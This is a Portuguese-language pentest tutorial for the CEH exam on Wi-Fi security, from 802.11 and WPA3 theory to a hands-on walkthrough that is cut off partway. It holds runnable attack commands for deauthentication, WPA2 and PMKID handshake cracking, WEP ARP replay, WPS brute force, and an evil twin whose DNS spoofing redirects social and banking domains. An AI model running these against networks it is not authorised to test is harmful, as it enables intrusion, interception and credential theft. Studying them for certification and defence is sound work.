Hacking Wireless: Wi-Fi, WEP, WPA2, WPA3 e Aircrack-ng na Prática
Redes wireless são, ao mesmo tempo, a porta de entrada mais conveniente e o vetor de ataque mais negligenciado em ambientes corporativos e domésticos. Um pentester que domina wireless hacking ganha uma vantagem enorme — porque a maioria das organizações tem pelo menos uma rede Wi-Fi mal configurada, um access point com firmware desatualizado ou um protocolo de segurança que deveria ter sido aposentado há uma década.
Para o exame CEH v13, o domínio de wireless hacking cobre desde os fundamentos do IEEE 802.11 até técnicas modernas de captura e cracking de handshakes, evil twin attacks e a evolução para WPA3. Este artigo é o guia hands-on completo: dos conceitos teóricos à execução de cada técnica com ferramentas reais.
1. Fundamentos Wireless — IEEE 802.11
O padrão IEEE 802.11 define o funcionamento das redes Wi-Fi. Desde a primeira versão em 1997, o padrão evoluiu significativamente em velocidade, alcance e segurança. Entender cada revisão é essencial para qualquer pentester wireless.
Gerações do 802.11
| Padrão | Ano | Frequência | Velocidade máx. | Notas |
|---|---|---|---|---|
| 802.11a | 1999 | 5 GHz | 54 Mbps | Maior throughput, menor alcance |
| 802.11b | 1999 | 2.4 GHz | 11 Mbps | Mais lento, maior penetração |
| 802.11g | 2003 | 2.4 GHz | 54 Mbps | Retrocompatível com 802.11b |
| 802.11n (Wi-Fi 4) | 2009 | 2.4 / 5 GHz | 600 Mbps | MIMO, até 4 antenas |
| 802.11ac (Wi-Fi 5) | 2014 | 5 GHz | 6.9 Gbps | MIMO de até 8×8, canais de 160 MHz |
| 802.11ax (Wi-Fi 6/6E) | 2021 | 2.4 / 5 / 6 GHz | 9.6 Gbps | OFDMA, MU-MIMO, TWT |
| 802.11be (Wi-Fi 7) | 2024 | 2.4 / 5 / 6 GHz | 46 Gbps | MLO, 4096-QAM |
Frequências e Canais
O espectro wireless é dividido em três bandas principais:
- 2.4 GHz: 14 canais (1-14), largura de 20 MHz cada, sobreposição pesada. Na prática, apenas 3 canais não se sobrepõem (1, 6, 11). Maior penetração em paredes, menor velocidade. Altamente suscetível a interferência de Bluetooth, micro-ondas e outros dispositivos.
- 5 GHz: Canais de 20, 40, 80 e 160 MHz. Muito menos congestão que 2.4 GHz. Menor penetração em obstáculos físicos. Ideal para throughput alto em ambientes densos.
- 6 GHz (Wi-Fi 6E/7): Banda nova com até 59 canais de 20 MHz. Sem interferência de dispositivos legacy. Penetração ainda menor que 5 GHz.
iw list.
Identificadores: SSID e BSSID
- SSID (Service Set Identifier): O nome da rede que aparece quando você busca Wi-Fi. Pode ser oculto (hidden), mas o BSSID continua visível em probe requests/responses. Hiding SSID é segurança por obscuridade — não impede descoberta.
- BSSID (Basic Service Set Identifier): O endereço MAC do access point. Identificador único e imutável (a menos que o AP use MAC randomization). Essencial para direcionar ataques a um AP específico.
Modos de Operação Wireless
- Managed (Infrastructure): Modo padrão. Clientes se conectam a um access point central. O AP faz bridge entre wireless e wired network.
- Ad-hoc: Conexão ponto-a-ponto entre clientes, sem AP. Cada dispositivo comunica diretamente com os demais. Pouco usado hoje, mas aparece em cenários IoT e militares.
- Master (AP): O dispositivo atua como access point, broadcastando SSID e gerenciando conexões de clientes.
- Monitor Mode: O adaptador wireless captura tudo que passa pelo ar — incluindo pacotes de redes das quais você não está conectado. Não se associa a nenhum AP. É o modo fundamental para wireless hacking. Sem ele, você só vê tráfego da rede à qual está conectado.
2. Evolução da Segurança Wireless
A segurança Wi-Fi é uma história de 25 anos de tentativa e erro. Cada geração de protocolo nasceu como resposta às falhas da anterior. Entender essa linha do tempo é crucial — porque em auditorias reais, você vai encontrar redes rodando WPA2 (o padrão), WPA (legacy), e, sim, ocasionalmente WEP.
WEP — Wired Equivalent Privacy (1997)
O WEP foi o primeiro protocolo de segurança wireless, parte do padrão 802.11 original. Usava o cifrador RC4 com chaves de 40-bit (64-bit com IV) ou 104-bit (128-bit com IV). A implementação era desastrosa:
- IVs (Initialization Vectors) de apenas 24 bits: Em uma rede movimentada, os IVs se repetem em questão de minutos. IVs repetidos + RC4 = mesma keystream = XOR para recuperar plaintext.
- RC4 mal implementado: A correlação entre os primeiros bytes da keystream e o IV permitia ataques estatísticos eficientes.
- Checksum CRC-32: Detectava modificação, mas não impedia forjamento — um atacante podia calcular o CRC correto para um payload modificado.
O ataque FMS (Fluhrer, Mantin, Shamir, 2001) demonstrou que era possível recuperar a chave WEP completa capturando entre 40.000 e 100.000 IVs — algo factível em minutos numa rede ativa. O KoreK attacks (2004) reduziram isso para 40.000 IVs. Em 2007, a equipe do aircrack-ng publicou a técnica PTW, quebrando WEP com ~20.000 IVs.
Veredicto: WEP está morto. Se você encontrar WEP, não é um desafio de segurança — é um problema de compliance. Quebra-se em segundos.
WPA — Wi-Fi Protected Access (2003)
O WPA foi um stopgap criado pela Wi-Fi Alliance enquanto o WPA2 era padronizado. Mantinha compatibilidade com hardware WEP (mesmo cifrador RC4), mas introduziu o TKIP (Temporal Key Integrity Protocol):
- Chaves por-pacote: cada frame usava uma chave RC4 diferente, eliminando o problema de IVs repetidos.
- MIC (Message Integrity Check): substituiu o CRC-32, impedindo modificação de pacotes.
- Sequencing: impediu ataques de replay.
O problema: TKIP ainda usava RC4. Em 2008, pesquisadores demonstraram o Beck-Tews attack e o TKIP chopchop attack, permitindo injeção de pacotes ARP em 7-15 minutos. Não quebrava a chave, mas comprometia a integridade da rede.
WPA2 — Wi-Fi Protected Access 2 (2004)
O WPA2 substituiu RC4/TKIP por AES-CCMP (Counter Mode with CBC-MAC Protocol). AES é um cifrador de bloco forte, aprovado pelo NIST, e o CCMP fornece confidencialidade, autenticidade e integridade em cada frame. Essa combinação se manteve sólida por duas décadas.
O WPA2 tem duas variantes:
- WPA2-Personal (PSK): A mesma senha é usada por todos os clientes. O cracking é feito offline contra o 4-way handshake capturado.
- WPA2-Enterprise (802.1X): Cada cliente se autentica individualmente via servidor RADIUS (EAP-TLS, PEAP, EAP-TTLS). Muito mais seguro, mas mais complexo de implementar.
A fragilidade do WPA2-PSK não está no protocolo AES-CCMP em si — está na derivação de chaves baseada em senha. Se a senha for fraca, o cracking offline do handshake é trivial. Se for forte (16+ caracteres aleatórios), o WPA2-PSK é praticamente impenetrável com ataques de dicionário.
WPA3 — Wi-Fi Protected Access 3 (2018)
O WPA3 foi a resposta definitiva aos problemas acumulados em 20 anos de WPA2:
- SAE (Simultaneous Authentication of Equals): Substitui o PSK tradicional. O handshake SAE (baseado no protocolo Dragonfly) é resistente a ataques offline de dicionário — cada tentativa requer interação com o AP.
- Forward Secrecy: Se a senha for comprometida no futuro, o tráfego capturado anteriormente permanece seguro.
- OWE (Opportunistic Wireless Encryption): Criptografia individualizada entre cliente e AP mesmo em redes abertas. Ideal para cafés, aeroportos, redes públicas.
- 192-bit Enterprise: Suite criptográfica de 192 bits para ambientes governamentais (CNSA Suite).
WPA3 mudou o jogo para o atacante. Sem offline dictionary attacks, o pentester precisa de abordagens diferentes — brute-force online (lento e detectável), evil twin com phishing da senha, ou exploração de implementações SAE malfeitas.
3. Como o WPA2 PSK Funciona — O 4-Way Handshake
Para quebrar WPA2, você precisa entender exatamente como a autenticação funciona. O coração do processo é o 4-way handshake — quatro mensagens EAPOL trocadas entre o AP e o cliente.
Derivação de Chaves
- A senha em texto (o PSK) é combinada com o SSID da rede.
- A função PBKDF2 aplica HMAC-SHA1 com 4096 iterações para derivar a PMK (Pairwise Master Key):
PMK = PBKDF2-SHA1(password, SSID, 4096, 256 bits) - A PMK é a mesma para todos os clientes na rede.
- O AP gera um Anonce (AP Nonce — valor aleatório de 256 bits) e envia ao cliente.
- O cliente gera um SNonce, e com ambos os nonces + endereços MAC + PMK, deriva a PTK (Pairwise Transient Key).
- A PTK contém subchaves para criptografia (KCK, KEK, TK), e é usada para criptografar todo o tráfego da sessão.
As 4 Mensagens
Message 1: AP → Client (ANonce)
O access point envia o ANonce ao cliente. Nenhuma informação sensível — é apenas um nonce aleatório. Qualquer pessoa capturando o tráfego pode ver essa mensagem.
Message 2: Client → AP (SNonce + MIC)
O cliente gera o SNonce, deriva a PTK usando PMK + ANonce + SNonce + MACs, e envia o SNonce junto com um MIC (Message Integrity Code) calculado com a KCK. O MIC prova que o cliente conhece a PMK sem transmiti-la.
Message 3: AP → Client (GTK + MIC)
O AP deriva a mesma PTK, verifica o MIC da Message 2, e envia o GTK (Group Temporal Key) — usada para tráfego multicast/broadcast — mais um MIC. O GTK é criptografado com a KEK.
Message 4: Client → AP (ACK)
O cliente confirma recebimento da GTK enviando um acknowledgment com MIC.
Por que o handshake capturado é suficiente
Como a PMK é derivada deterministicamente de password + SSID, e a PTK é derivada deterministicamente de PMK + ANonce + SNonce + MACs, o atacante que captura o handshake tem todos os inputs menos a senha. O cracking é puramente computacional: testar N senhas, derivar N PMKs, derivar N PTKs, calcular N MICs, comparar. É por isso que wordlists e velocidade de processamento (GPU) são o fator limitante.
4. Aircrack-ng Suite
O Aircrack-ng é a suíte de ferramentas wireless mais completa e mais usada por pentesters em todo o mundo. Open-source, mantida ativamente, pré-instalada no Kali Linux e BlackArch.
Componentes Principais
| Ferramenta | Função |
|---|---|
| airmon-ng | Ativa/desativa monitor mode no adaptador wireless |
| airodump-ng | Sniffer wireless — captura pacotes, lista APs, clientes, canais, criptografia, sinal (dBm) |
| aireplay-ng | Injeção de pacotes — deauthentication frames, ARP requests |
| aircrack-ng | Cracker WEP/WPA offline com wordlists |
| airbase-ng | Cria rogue access points (evil twin) |
| airdecap-ng | Descriptografa capturas quando você já conhece a chave |
| airtun-ng | Cria interfaces túnel virtuais via wireless |
| airserv-ng | Compartilha o adaptador wireless via rede |
Instalação no Kali Linux
# Já pré-instalado no Kali. Para atualizar:
sudo apt update && sudo apt install aircrack-ng
# Verificar versão
aircrack-ng --help | head -1
# Verificar suporte a monitor mode do adaptador
iw list | grep -A 5 "Monitor"
Antes de começar, mate processos que podem interferir com o adaptador wireless:
# Interrompe serviços que conflitam com monitor mode
sudo airmon-ng check kill
# Verifica o que foi afetado
sudo airmon-ng checkEm particular, o NetworkManager e o wpa_supplicant podem causar problemas. O airmon-ng check kill os interrompe automaticamente. Para reativá-los depois da auditoria: sudo systemctl start NetworkManager.
5. Capturando o Handshake
A captura do 4-way handshake é o passo mais importante do ataque WPA2. Sem o handshake completo, não há como realizar o cracking offline. O processo envolve quatro etapas: ativar monitor mode, identificar o alvo, capturar pacotes e forçar a reconexão.
Passo 1 — Ativar Monitor Mode
# Matar processos conflitantes
sudo airmon-ng check kill
# Identificar a interface wireless
iwconfig
# Output: wlan0 IEEE 802.11 ESSID:off/any ...
# Ativar monitor mode
sudo airmon-ng start wlan0
# Interface muda para wlan0mon
iwconfig
# Output: wlan0mon IEEE 802.11 Mode:Monitor ...
Se o airmon-ng falhar, tente o método nativo do iw:
# Método alternativo com iw
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
# Renomear para wlan0mon (opcional, para consistência)
sudo ip link set wlan0 name wlan0mon
Passo 2 — Identificar o Alvo
# Escanear todas as redes visíveis
sudo airodump-ng wlan0mon
O airodump-ng mostra uma tabela com:
- BSSID: Endereço MAC do AP
- PWR: Potência do sinal em dBm (mais negativo = mais fraco. -30 é excelente, -80 é limite)
- CH: Canal
- ENC: Criptografia (WEP, WPA2, OPN)
- CIPHER: Cifrador (CCMP=AES, TKIP=RC4)
- ESSID: Nome da rede
- Stations: Clientes conectados (parte inferior da tela) com seus MACs e sinais
Registre tudo: Anote o BSSID, canal (CH), e o MAC de pelo menos um cliente conectado (station). Você precisa de todos para os próximos passos. Pressione Ctrl+C para parar o scan.
Passo 3 — Capturar no Canal do Alvo
# Focar no canal específico do alvo, gravando captura
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Parâmetros:
-c 6: Canal do AP alvo (substitua pelo correto)
--bssid AA:BB:CC:DD:EE:FF: Filtra apenas o AP alvo
-w capture: Prefixo do arquivo de captura (gera capture-01.cap, capture-02.cap, etc.)
wlan0mon: Interface em monitor mode
O airodump-ng fica rodando e gravando. Se um cliente se reconectar naturalmente ao AP, o handshake aparecerá automaticamente com a mensagem "WPA handshake: AA:BB:CC:DD:EE:FF" no canto superior direito. Em redes com pouco tráfego, isso pode levar horas.
Passo 4 — Forçar o Handshake com Deauth
Aqui entra o aireplay-ng. O deauth frame é um frame de management (não criptografado, mesmo em WPA2) que diz ao cliente "desconecte-se deste AP". O cliente obedece e reconecta automaticamente, gerando um novo 4-way handshake que o airodump-ng captura.
# Em outro terminal (mantenha o airodump-ng rodando no primeiro)
# Deauth específico — envia 10 deauth frames para um cliente específico
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
Parâmetros:
-0 10: Modo deauthentication, 10 frames (vários para garantir entrega)
-a AA:BB:CC:DD:EE:FF: BSSID do AP alvo
-c 11:22:33:44:55:66: MAC do cliente alvo (station)
Se não souber o MAC de um cliente, envie broadcast deauth (para todos os clientes):
# Broadcast deauth — atinge todos os clientes conectados
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
Deauth é ruidoso. Gera logs no AP e pode ser detectado por WIDS (Wireless Intrusion Detection Systems). Em ambientes corporativos com segurança wireless ativa, múltiplos deauth frames em sequência disparam alertas. Em auditorias reais, use o mínimo necessário (1-2 frames) e espere a reconexão natural quando possível.
Após o deauth, volte ao terminal do airodump-ng. Se aparecer "WPA handshake: AA:BB:CC:DD:EE:FF", a captura foi bem-sucedida. Pressione Ctrl+C para parar.
# Verificar se o handshake foi capturado
# O arquivo capture-01.cap deve conter frames EAPOL
ls -la capture-01.cap
Verificando o Handshake Capturado
# Usar aircrack-ng para verificar se o handshake está presente (sem cracking)
aircrack-ng capture-01.cap
# Output esperado:
# Aircrack-ng 1.7
#
# [00:00:00] Tested 0 keys (got 0 PMKs)
#
# BSSID ESSID Encryption
#
# AA:BB:CC:DD:EE:FF TargetNetwork WPA (1 handshake)
O "1 handshake" confirma que a captura está pronta para cracking.
6. Cracking WPA2
Com o handshake capturado, o cracking é puramente computacional. A velocidade depende de três fatores: tamanho da wordlist, complexidade da senha e poder de processamento (CPU vs GPU).
Aircrack-ng (CPU-based)
# Cracking básico com wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
O aircrack-ng testa cada palavra da wordlist como candidato a senha. Para cada uma, deriva a PMK (4096 iterações SHA1), depois a PTK, calcula o MIC e compara. Em uma CPU moderna, isso rende ~1.000-3.000 PMKs/segundo por core — o que significa que o rockyou.txt (14+ milhões de senhas) leva horas.
Dica: Antes de usar o rockyou.txt, descompacte-o: sudo gunzip /usr/share/wordlists/rockyou.txt.gz. No Kali, ele vem comprimido por padrão.
Hashcat (GPU-based — Muito Mais Rápido)
O hashcat é o cracker de senhas mais rápido do mundo. Usando GPU (NVIDIA/AMD), ele processa dezenas de milhares de PMKs por segundo — ordens de magnitude mais rápido que a CPU.
Primeiro, converta a captura para o formato do hashcat:
# Converter .cap para .hccapx (formato do hashcat para WPA2)
# Usar aircrack-ng ou hcxpcapngtool
git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools && make
# Converter
hcxpcapngtool -o capture.hccapx capture-01.cap
# Alternativa: usar o online converter (se disponível)
# ou o script converte.sh do próprio hashcat utils
Depois, crack com hashcat:
# WPA2/WPA mode é o 2500
# -m 2500 = WPA/WPA2
# rockyou.txt = wordlist padrão do Kali
hashcat -m 2500 capture.hccapx /usr/share/wordlists/rockyou.txt
# Forçar uso de GPU (se não detectar automaticamente)
hashcat -m 2500 -d 1 capture.hccapx /usr/share/wordlists/rockyou.txt
# Ver resultados após cracking
hashcat -m 2500 capture.hccapx --show
Performance típica por modo:
Hardware
PMKs/segundo
rockyou.txt (14M)
Intel i7 (CPU, 8 cores)
~8.000
~29 minutos
Intel i7 (CPU, single core)
~1.000
~4 horas
NVIDIA RTX 3080 (GPU)
~140.000
~1.7 minutos
NVIDIA RTX 4090 (GPU)
~300.000
~47 segundos
4x RTX 4090 (GPU cluster)
~1.200.000
~12 segundos
Wordlists customizadas: Para auditorias mais eficazes, use o crunch para gerar wordlists baseadas em padrões conhecidos da organização (nome da empresa + números, padrões de senha internos). O cewl extrai palavras de websites do alvo para criar wordlists contextualizadas. Combinar regras de mutação (hashcat -r rules/best64.rule) aumenta drasticamente a cobertura.
John the Ripper
# Converter para formato do John
# O John suporta o formato hccapx nativamente
john --wordlist=/usr/share/wordlists/rockyou.txt capture.hccapx
# Com regras de mutação
john --wordlist=/usr/share/wordlists/rockyou.txt --rules capture.hccapx
Ataque PMKID — Sem Precisar de Handshake
O ataque PMKID é uma alternativa elegante ao 4-way handshake tradicional. Descoberto por Jens Steube (lead developer do hashcat) em 2018, este ataque explora o fato de que alguns APs enviam um frame PMKID (PMK Name) durante a primeira fase do processo de associação, antes mesmo do 4-way handshake começar.
Vantagens sobre o handshake tradicional:
- Não precisa de clientes conectados — funciona mesmo em redes vazias
- Não precisa de deauth — sem frames suspeitos
- Mais silencioso — não gera desconexões
# Ferramenta hcxdumptool para capturar PMKID
# Instalar hcxtools + hcxdumptool
sudo apt install hcxdumptool hcxtools
# Capturar PMKIDs de todos os APs no alcance
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng
# Converter para formato hashcat
hcxpcapngtool -o pmkid.hc22000 pmkid_capture.pcapng
# Crack com hashcat (modo 22000 para PMKID)
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt
O formato de hash do PMKID (22000) é mais rápido para processar que o handshake completo (2500), porque há menos dados por hash. Nem todos os APs suportam PMKID — routers modernos com WPA3 desabilitam por padrão, mas a maioria dos APs WPA2 ainda envia.
7. WEP Cracking (Histórico)
Embora o WEP esteja obsoleto há quase duas décadas, entender como era quebrado é importante para a prova do CEH e para apreciar por que os protocolos modernos existem.
Como Funcionava
O WEP usava RC4 com IVs de 24 bits. O ataque explorava IVs repetidos para recuperar a keystream e, por extensão, a chave. O processo:
- Capturar tráfego WEP até coletar IVs suficientes (~20.000 com PTW).
- Usar ataques estatísticos (FMS, KoreK, PTW) para correlacionar IVs com a chave.
- Recuperar a chave completa sem nunca interceptar a senha diretamente.
# WEP cracking com aircrack-ng
# Passo 1: Monitor mode
sudo airmon-ng start wlan0
# Passo 2: Capturar IVs
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon
# Passo 3: Acelerar captura com ARP request replay (aireplay-ng)
# O ARP replay injeta pacotes ARP forjados para forçar o AP a responder,
# gerando tráfego e IVs rapidamente
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 wlan0mon
# Passo 4: Cracker com IVs capturados
# -n 64 = chave de 64-bit (40-bit + 24 IV)
# -n 128 = chave de 128-bit (104-bit + 24 IV)
aircrack-ng -n 64 wep_capture-01.cap
# Output:
# Aircrack-ng 1.7
#
# [00:03:27] 21847 IVs tested (595468 IVs/sec)
#
# KEY FOUND! [ A1:B2:C3:D4:E5 ]
#
# Master Key : A1 B2 C3 D4 E5
# Transmitted Key : A1 B2 C3 D4 E5 00
ARP request replay era o truque principal para acelerar a captura: ao injetar um ARP request forjado no tráfego, o AP respondia com um ARP reply, e ambos os pacotes continham IVs novos. Em uma rede com apenas um cliente, isso podia gerar milhares de IVs por segundo. Sem o replay, você dependia do tráfego natural da rede — que podia ser lento.
Para a prova CEH: Saiba que WEP usa RC4, IVs de 24 bits, chaves de 40 ou 104 bits, e que o ataque FMS (2001) o tornou obsoleto. Não gaste tempo praticando WEP — foque em WPA2/WPA3.
8. Evil Twin e Rogue AP
O ataque Evil Twin cria um access point falso com o mesmo SSID (e frequentemente o mesmo BSSID) da rede legítima. Quando a vítima se conecta ao evil twin em vez do AP real, o atacante ganha posição de man-in-the-middle — podendo interceptar tráfego, injetar conteúdo, redirecionar para páginas de phishing e capturar credenciais.
Como Funciona
- O atacante identifica o SSID e canal do AP alvo.
- Cria um rogue AP com o mesmo SSID, mas com sinal mais forte ou sem autenticação.
- A vítima conecta-se ao evil twin (os dispositivos Wi-Fi geralmente preferem o AP com sinal mais forte ou o último que se conectou).
- O evil twin fornece DHCP, DNS e gateway para a vítima.
- O atacante pode: redirecionar para captive portal phishing, interceptar tráfego HTTP, realizar DNS spoofing para redirecionar sites populares para clones maliciosos.
Criando um Evil Twin com airbase-ng
# Passo 1: Monitor mode
sudo airmon-ng start wlan0
# Passo 2: Criar rogue AP com airbase-ng
sudo airbase-ng -e "TargetSSID" -c 6 wlan0mon
# Isso cria uma interface at0
# Passo 3: Configurar rede no evil twin
sudo ip addr add 192.168.1.1/24 dev at0
sudo ip link set at0 up
# Passo 4: DHCP server para atribuir IPs às vítimas
sudo apt install isc-dhcp-server
# Configurar /etc/dhcp/dhcpd.conf:
# subnet 192.168.1.0 netmask 255.255.255.0 {
# range 192.168.1.10 192.168.1.100;
# option routers 192.168.1.1;
# option domain-name-servers 192.168.1.1;
# }
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -f at0
# Passo 5: Configurar roteamento/NAT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
# Passo 6: DNS spoofing com dnsspoof ou bettercap
sudo dnsspoof -i at0 -f /etc/hosts_custom
# No /etc/hosts_custom:
# 192.168.1.1 facebook.com
# 192.168.1.1 gmail.com
# 192.168.1.1 banco.com.br
Ferramentas Automatizadas
- hostapd-wpe: Modificação do hostapd para criar APs que forçam autenticação EAP maliciosa (útil contra Enterprise/WPA2-Enterprise). Captura credenciais EAP-MSCHAPv2.
- Fluxion: Script automatizado que combina evil twin + deauth + captive portal. A vítima é desconectada do AP real, conecta ao evil twin, e vê uma página pedindo a senha do Wi-Fi. Quando digita, o Fluxion testa contra o handshake capturado e libera o acesso se estiver correta.
- WiFi-Pumpkin: Framework completo com GUI para evil twin attacks, captive portals, DNS spoofing, session hijacking e mais. Baseado em Python.
- Wifite: Ferramenta automatizada que identifica e ataca redes wireless. Suporta WEP, WPA, WPA2, WPS e evil twin. Ideal para automação.
Evil Twin é social engineering puro. O ataque não "quebra" a criptografia — ele engana o usuário para que se conecte ao AP errado e entregue a senha voluntariamente. Mesmo redes WPA2 com senhas fortes são vulneráveis a evil twin (a senha capturada pelo captive portal pode então ser usada para o cracking, ou simplesmente usada para conectar ao AP real).
9. WPA3 em Detalhes
O WPA3 representa a mudança mais significativa na segurança wireless desde a introdução do WPA2 em 2004. Entender suas diferenças é essencial para qualquer pentester moderno.
SAE — Simultaneous Authentication of Equals
O SAE substitui o processo de derivação PSK tradicional. Em vez de simplesmente derivar a PMK da senha e SSID (como no WPA2), o SAE usa um protocolo de Diffie-Hellman modificado:
- Ambas as partes (AP e cliente) executam o mesmo algoritmo simultaneamente (daí "Simultaneous Authentication of Equals" — não há cliente/servidor hierárquico).
- Um commitment exchange garante que nenhuma informação sobre a senha seja revelada durante o handshake.
- A validação final confirma que ambas as partes derivaram a mesma chave, sem transmitir a chave ou dados deriváveis.
O resultado prático: não existe analogia ao 4-way handshake do WPA2. Mesmo que o atacante capture todo o tráfego do handshake SAE, não há como testar senhas offline. Cada tentativa de login incorreto exige interação com o AP, o que é:
- Lento: O AP pode limitar a taxa de tentativas (rate limiting)
- Detectável: Múltiplas tentativas falhas geram logs
- Ineficiente: Não é paralelizável como o cracking offline
OWE — Opportunistic Wireless Encryption
OWE resolve um problema antigo: redes abertas (sem senha) não têm nenhuma criptografia. Qualquer pessoa no alcance pode capturar todo o tráfego. O OWE fornece criptografia unidirecional por cliente usando troca de chaves Diffie-Hellman:
- O SSID permanece aberto — não há senha para digitar
- Cada cliente estabelece uma chave criptográfica única com o AP
- O tráfego de cada cliente é criptografado individualmente — nem o AP pode ler o tráfego de outros clientes
- Sem forward secrecy por padrão (a menos que combinado com outros mecanismos)
Forward Secrecy
No WPA2, se você capturar o handshake e depois descobrir a senha, pode descriptografar todo o tráfego dessa sessão. No WPA3-SAE, cada sessão usa chaves efêmeras derivadas via Diffie-Hellman. Comprometer a senha no futuro não permite descriptografar tráfego capturado anteriormente. Isso é forward secrecy — a mesma propriedade que o TLS 1.3 oferece para HTTPS.
Limitações do WPA3
Apesar de significativamente mais seguro, o WPA3 não é perfeito:
- Adoção lenta: Em 2024/2025, a maioria dos APs consumer ainda suporta WPA2 como padrão ou modo misto (WPA2/WPA3).
- Modo misto (WPA2/WPA3 Transitional): Muitos APs operam em modo misto para compatibilidade com dispositivos legados. Nesse modo, clientes WPA2 estão tão vulneráveis quanto antes — o WPA3 protege apenas clientes WPA3.
- Ataques side-channel: Implementações SAE malfeitas podem ser vulneráveis a timing attacks e cache attacks (pesquisa ativa em 2023-2024).
- Dragonblood (2019): Pesquisadores encontraram vulnerabilidades em implementações iniciais do SAE (dragonblood attacks), incluindo downgrade attacks e side-channel leaks. A maioria foi corrigida, mas demonstrou que a implementação importa tanto quanto o protocolo.
10. Ferramentas Adicionais
Wifite — Automatização para Pentesters
O Wifite é um script Python que automatiza todo o processo de ataque wireless: scan, seleção de alvos, captura de handshake, deauth, e cracking. Ideal para auditorias rápidas quando você não quer executar cada ferramenta manualmente.
# Instalar
sudo apt install wifite
# Scan e ataque automático a todas as redes WPA2
sudo wifite
# Atacar rede específica
sudo wifite -e "TargetSSID"
# Atacar apenas canais específicos
sudo wifite -c 1,6,11
# Usar wordlist customizada
sudo wifite -w /usr/share/wordlists/rockyou.txt
# Modo WPS (Pixie Dust)
sudo wifite --wps
O Wifite identifica automaticamente a criptografia, captura handshakes, envia deauth, e tenta cracking. Para WEP, faz todo o processo incluindo ARP replay. Para WPS, tenta Pixie Dust e brute-force do PIN.
Fern Wifi Cracker — GUI para Desktop
O Fern Wifi Cracker oferece interface gráfica para as funções principais do Aircrack-ng. Escrito em Python, suporta WEP, WPA/WPA2 cracking, ataques WPS, e session hijacking. Menos poderoso que a suíte de linha de comando, mas mais acessível para iniciantes.
Reaver e Bully — Ataques WPS
O WPS (Wi-Fi Protected Setup) é um protocolo projetado para facilitar a conexão de dispositivos. Usa um PIN de 8 dígitos que o usuário digita para autenticar. O problema: o PIN é verificado em duas metades (primeiro 4 dígitos, depois os últimos 4), o que reduz drasticamente o espaço de busca.
# Reaver — WPS brute-force
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6
# Pixie Dust attack (offline, muito mais rápido quando funciona)
# Explora vulnerabilidades em implementações WPS específicas
# (Broadcom, Ralink, Realtek, MediaTek)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K
# Bully — alternativa ao Reaver, mais estável e com melhor suporte
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -B
WPS deve ser desabilitado. O PIN WPS de 8 dígitos tem espaço de busca teórico de 10^8, mas a verificação em duas metades reduz isso para 11.000 tentativas (primeira metade: 10^4 = 10.000, segunda metade: ~1.000). O brute-force leva 4-10 horas. Pixie Dust, quando funciona, quebra em segundos. Desabilite WPS em todos os APs.
11. Hands-on Completo — Setup e Execução
Este é o walkthrough completo de uma auditoria WPA2, do início ao fim.
Hardware Necessário
- Adaptador Wi-Fi com monitor mode + packet injection: O padrão da indústria é o Alfa AWUS036ACH (chipset Realtek RTL8812AU, dual-band 2.4/5 GHz, alto ganho). Alternativas: Alfa AWUS036AC (RTL8811AU), Panda PAU09 (RTL8812AU), TP-Link TL-WN722N (versão V1 apenas — Atheros AR9271, 2.4 GHz).
- Kali Linux (Live USB ou VM com USB passthrough)
- Rede alvo para prática: Use seu próprio AP doméstico ou configure um AP de teste com WPA2
⚠️ Importante: VMs com wireless são problemáticas. A maioria das VMs não tem acesso direto ao hardware wireless — usam o Wi-Fi do host como interface virtual sem monitor mode. Solução: Kali em Live USB (boot direto) ou VM com USB passthrough do adaptador wireless.
Workflow Completo
# ============================================================
# PASSO 0: Preparação
# ============================================================
# Boot Kali Linux (Live USB recomendado)
# Conectar adaptador Alfa AWUS036ACH
# Verificar que o adaptador foi reconhecido
ip link show
# Procure por wlan0 ou wlx...
# Matar processos conflitantes
sudo airmon-ng check kill
# Interrompe: NetworkManager, wpa_supplicant, dhclient
# ============================================================
# PASSO 1: Ativar Monitor Mode
# ============================================================
sudo airmon-ng start wlan0
# Output: PHY Interface Driver Chipset
# phy0 wlan0mon rtl88xxau Realtek RTL8812AU
# Confirmar
iwconfig wlan0mon
# Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
# ============================================================
# PASSO 2: Scan — Identificar o Alvo
# ============================================================
sudo airodump-ng wlan0mon
#
# BSSID PWR Beacons #Data CH ENC ESSID
# AA:BB:CC:DD:EE:FF -45 1523 847 6 WPA2 MinhaRede
# 11:22:33:44:55:66 -67 892 234 1 WPA2 VizinhoNet
#
# BSSID STATION PWR Rate Lost Frames Notes
# AA:BB:CC:DD:EE:FF 77:88:99:AA:BB:CC -51 54e-54 0 1243
#
# Ctrl+C para parar
# Anotar:
# Alvo: BSSID AA:BB:CC:DD:EE:FF, Canal 6, ESSID "MinhaRede"
# Cliente: 77:88:99:AA:BB:CC
# ============================================================
# PASSO 3: Capturar no Canal do Alvo
# ============================================================
# Abrir novo terminal
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/handshake wlan0mon
#
# Aguardar "WPA handshake: AA:BB:CC:DD:EE:FF" no canto superior direito
# Se não aparecer em 1-2 minutos, forçar com deauth
# ============================================================
# PASSO 4: Forçar Handshake (se necessário)
# ============================================================
# Em outro terminal
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 77:88:99:AA:BB:CC wlan0mon
#
# Voltar ao airodump-ng e verificar se apareceu o handshake
# Se não, tente mais deauth frames ou espere mais tempo
